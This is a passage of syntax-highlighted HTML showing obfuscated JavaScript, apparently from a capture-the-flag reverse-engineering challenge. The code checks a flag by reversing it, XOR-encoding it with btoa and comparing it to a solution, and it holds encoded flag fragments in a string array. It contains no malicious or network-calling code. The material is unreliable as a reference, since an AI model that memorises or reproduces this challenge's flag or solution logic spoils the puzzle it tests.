keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x5a6221<span class=\"token punctuation\">,</span>_0x399f0d</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x5a6221<span class=\"token operator\">-</span>_0x399f0d<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'skamI'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x4896f4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x4896f4</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'FlluK'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x1d7300<span class=\"token punctuation\">,</span>_0x570086<span class=\"token punctuation\">,</span>_0x467f44</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x1d7300</span><span class=\"token punctuation\">(</span>_0x570086<span class=\"token punctuation\">,</span>_0x467f44<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>_0x5388f8<span class=\"token operator\">=</span>_0x295265<span class=\"token punctuation\">[</span><span class=\"token function\">_0x1811c7</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x18d</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x2a8b<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> <span class=\"token function-variable function\">_0x3e24</span><span class=\"token operator\">=</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x42bf11<span class=\"token punctuation\">,</span>_0x12aaa8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x4775d2<span class=\"token operator\">=</span>_0x1811c7<span class=\"token punctuation\">;</span>_0x42bf11<span class=\"token operator\">=</span>_0x295265<span class=\"token punctuation\">[</span><span class=\"token function\">_0x4775d2</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x191</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x42bf11<span class=\"token punctuation\">,</span><span class=\"token operator\">-</span><span class=\"token number\">0xcea</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0xc08</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x3</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x8a9</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> _0x4805b5<span class=\"token operator\">=</span>_0x5388f8<span class=\"token punctuation\">[</span>_0x42bf11<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> _0x4805b5<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>_0x295265<span class=\"token punctuation\">[</span><span class=\"token function\">_0x1811c7</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x18c</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x3e24<span class=\"token punctuation\">,</span>_0x56ccee<span class=\"token punctuation\">,</span>_0x54f27c<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token keyword\">var</span> flag<span class=\"token operator\">=</span><span class=\"token function\">_0x7f9546</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x132d</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">+</span><span class=\"token number\">0xc6f</span><span class=\"token operator\">*</span><span class=\"token number\">0x2</span><span class=\"token operator\">+</span><span class=\"token number\">0x3</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x18d</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">function</span> <span class=\"token function\">_0x1393</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0xe03e2e<span class=\"token operator\">=</span><span class=\"token punctuation\">[</span><span class=\"token string\">'paKiw'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'shift'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'6nMpKMt'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'aqE'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'yyyaI'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'FnyYM'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Srhqn'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'cqLDK'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'FlluK'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'skamI'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'mKB'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'reverse'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Epuem'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ehwdC'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Not\\x20implem'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'yZQwd'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'2kMQraK'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'2282352jiO'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'XAodd'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'lthNi'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Yfgkk'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'MDSIC'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'FmpvA'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'UeUNF'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'oQUxU'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'avbDa'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'RzOAR'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'GGhhk'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'236046XdgO'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'48517AjJpR'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'2248020VDmzGa'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'424erSbWD'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'LElVZ'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'50VJNKtb'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'4996gCHKLM'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'387064uVnprw'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Jlj'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'2681065Vjg'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'TLayY'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'split'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'QisZw'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'314000fQcnwx'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ZDyDa'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'PvOKR'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'XkZxe'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'3IoFoig'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ented.'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'LtDWI'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'pepyh'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'2285525hAx'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'qvVmj'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'9guhgOr'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'XogTu'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'BdmMA'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'HVjXx'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'charCodeAt'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'jSHtH'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'YtPFU'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'vOOEr'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'push'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'mbDZk'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'310080UgNx'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'123tzQtJD'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'Zm1jZH92N2'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'tkcFVhbXs6'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'fDKaB'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'length'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'FcKRF'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'jxjuK'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'2490096jpjurH'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'142439ZMbchO'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'7314070bHQAMC'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'FkhwG'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'XxhbU'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'WRq'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'GHSLi'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'fromCharCo'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'ATFpB'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'join'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'EZnJl'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'eylpU'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'FFiHo'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'fQYsf'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'PSMEK'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'fHNjI2NgaA'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'log'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'3333978wBY'</span><span class=\"token punctuation\">,</span><span class=\"token string\">'fdNFC'</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span><span class=\"token function-variable function\">_0x1393</span><span class=\"token operator\">=</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0xe03e2e<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x1393</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token keyword\">function</span> <span class=\"token function\">validateFlag</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x1dd864</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x33275d<span class=\"token operator\">=</span>_0x4b0817<span class=\"token punctuation\">,</span>_0x3c0709<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span><span class=\"token string-property property\">'vOOEr'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x2d9486<span class=\"token punctuation\">,</span>_0x35b810</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x2d9486</span><span class=\"token punctuation\">(</span>_0x35b810<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'GHSLi'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x23567d<span class=\"token punctuation\">,</span>_0x28c3a7</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x23567d</span><span class=\"token punctuation\">(</span>_0x28c3a7<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'PSMEK'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x5b7ded<span class=\"token punctuation\">,</span>_0x32f3cd</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x5b7ded</span><span class=\"token punctuation\">(</span>_0x32f3cd<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'EZnJl'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x47ef0d<span class=\"token punctuation\">,</span>_0x4092ed</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x47ef0d<span class=\"token operator\">===</span>_0x4092ed<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'oQUxU'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x46111c</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x46111c</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>_0x3de655<span class=\"token operator\">=</span>_0x3c0709<span class=\"token punctuation\">[</span><span class=\"token function\">_0x33275d</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1be</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>reverseFlag<span class=\"token punctuation\">,</span>_0x1dd864<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>_0xf4a196<span class=\"token operator\">=</span>_0x3c0709<span class=\"token punctuation\">[</span><span class=\"token function\">_0x33275d</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1cf</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>encryptFlag<span class=\"token punctuation\">,</span>_0x3de655<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>_0x4269fd<span class=\"token operator\">=</span>_0x3c0709<span class=\"token punctuation\">[</span><span class=\"token function\">_0x33275d</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x17f</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>decryptFlag<span class=\"token punctuation\">,</span>_0xf4a196<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> _0x3c0709<span class=\"token punctuation\">[</span><span class=\"token function\">_0x33275d</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1d3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x4269fd<span class=\"token punctuation\">,</span>_0x3c0709<span class=\"token punctuation\">[</span><span class=\"token function\">_0x33275d</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x19c</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>getSolution<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token keyword\">function</span> <span class=\"token function\">reverseFlag</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x5aa062</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x20cbfc<span class=\"token operator\">=</span>_0x4b0817<span class=\"token punctuation\">,</span>_0x2a64bc<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span><span class=\"token string-property property\">'qvVmj'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x2de971<span class=\"token punctuation\">,</span>_0x489884</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x2de971</span><span class=\"token punctuation\">(</span>_0x489884<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'avbDa'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x283f8d<span class=\"token punctuation\">,</span>_0x5512cf</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x283f8d</span><span class=\"token punctuation\">(</span>_0x5512cf<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>_0x47f56d<span class=\"token operator\">=</span>_0x7f9546<span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> _0x5aa062<span class=\"token punctuation\">[</span>_0x2a64bc<span class=\"token punctuation\">[</span><span class=\"token function\">_0x20cbfc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1b6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x47f56d<span class=\"token punctuation\">,</span><span class=\"token number\">0x7</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x19</span><span class=\"token operator\">+</span><span class=\"token number\">0x1a1d</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1863</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x21ad</span><span class=\"token operator\">+</span><span class=\"token number\">0x527</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x5</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x7e8</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span>_0x2a64bc<span class=\"token punctuation\">[</span><span class=\"token function\">_0x20cbfc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1b6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x47f56d<span class=\"token punctuation\">,</span><span class=\"token operator\">-</span><span class=\"token number\">0x605</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x6</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x317</span><span class=\"token operator\">*</span><span class=\"token number\">0xb</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x59</span><span class=\"token operator\">*</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span>_0x2a64bc<span class=\"token punctuation\">[</span><span class=\"token function\">_0x20cbfc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x19d</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x47f56d<span class=\"token punctuation\">,</span><span class=\"token number\">0x28</span><span class=\"token operator\">*</span><span class=\"token number\">0xdc</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x819</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x3</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token number\">0x3999</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x4</span><span class=\"token operator\">*</span><span class=\"token number\">0x529</span><span class=\"token operator\">+</span><span class=\"token number\">0x7c</span><span class=\"token operator\">*</span><span class=\"token number\">0x49</span><span class=\"token operator\">+</span><span class=\"token number\">0x12aa</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token keyword\">function</span> <span class=\"token function\">encryptFlag</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0xbf47e0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x544acc<span class=\"token operator\">=</span>_0x4b0817<span class=\"token punctuation\">,</span>_0x3b452a<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span><span class=\"token string-property property\">'FkhwG'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x51232f<span class=\"token punctuation\">,</span>_0x5aa8bc</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x51232f<span class=\"token operator\">&lt;</span>_0x5aa8bc<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'FmpvA'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x6f16c8<span class=\"token punctuation\">,</span>_0x471210</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x6f16c8<span class=\"token operator\">^</span>_0x471210<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'eylpU'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0xf9e80b<span class=\"token punctuation\">,</span>_0x2d8527</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0xf9e80b</span><span class=\"token punctuation\">(</span>_0x2d8527<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'jSHtH'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x48ef2f<span class=\"token punctuation\">,</span>_0x58bfa4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x48ef2f</span><span class=\"token punctuation\">(</span>_0x58bfa4<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>_0x3eca0a<span class=\"token operator\">=</span>_0x7f9546<span class=\"token punctuation\">,</span>_0x381330<span class=\"token operator\">=</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">0xe72</span><span class=\"token operator\">+</span><span class=\"token number\">0x467</span><span class=\"token operator\">+</span><span class=\"token number\">0xa0d</span><span class=\"token operator\">*</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">for</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> _0x191b0f<span class=\"token operator\">=</span><span class=\"token number\">0x12</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x12e</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1c6e</span><span class=\"token operator\">+</span><span class=\"token number\">0x31aa</span><span class=\"token punctuation\">;</span>_0x3b452a<span class=\"token punctuation\">[</span><span class=\"token function\">_0x544acc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1cc</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x191b0f<span class=\"token punctuation\">,</span>_0xbf47e0<span class=\"token punctuation\">[</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">0x9ec</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x181f</span><span class=\"token operator\">+</span><span class=\"token number\">0x5ad</span><span class=\"token operator\">*</span><span class=\"token number\">0x6</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>_0x191b0f<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x2bc446<span class=\"token operator\">=</span>_0xbf47e0<span class=\"token punctuation\">[</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x5</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x5fd</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token number\">0x135d</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0xd6</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x3b</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x191b0f<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>_0x5e8a75<span class=\"token operator\">=</span>_0x3b452a<span class=\"token punctuation\">[</span><span class=\"token function\">_0x544acc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x19a</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x2bc446<span class=\"token punctuation\">,</span>_0x191b0f<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>_0x381330<span class=\"token operator\">+=</span>String<span class=\"token punctuation\">[</span>_0x3b452a<span class=\"token punctuation\">[</span><span class=\"token function\">_0x544acc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1d4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x3eca0a<span class=\"token punctuation\">,</span><span class=\"token operator\">-</span><span class=\"token number\">0x25b</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0xc</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x10f1</span><span class=\"token operator\">+</span><span class=\"token number\">0x36c</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x5e8a75<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> _0x3b452a<span class=\"token punctuation\">[</span><span class=\"token function\">_0x544acc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1bc</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>btoa<span class=\"token punctuation\">,</span>_0x381330<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token keyword\">function</span> <span class=\"token function\">decryptFlag</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x95b280</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x59fee7<span class=\"token operator\">=</span>_0x4b0817<span class=\"token punctuation\">,</span>_0x2324b3<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span><span class=\"token string-property property\">'FcKRF'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x1e3d30<span class=\"token punctuation\">,</span>_0x200e95</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x1e3d30</span><span class=\"token punctuation\">(</span>_0x200e95<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>_0x590411<span class=\"token operator\">=</span>_0x7f9546<span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> _0x2324b3<span class=\"token punctuation\">[</span><span class=\"token function\">_0x59fee7</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1c7</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x590411<span class=\"token punctuation\">,</span><span class=\"token number\">0x1e3</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x8</span><span class=\"token operator\">+</span><span class=\"token number\">0x1e30</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x15</span><span class=\"token operator\">*</span><span class=\"token number\">0xab</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span 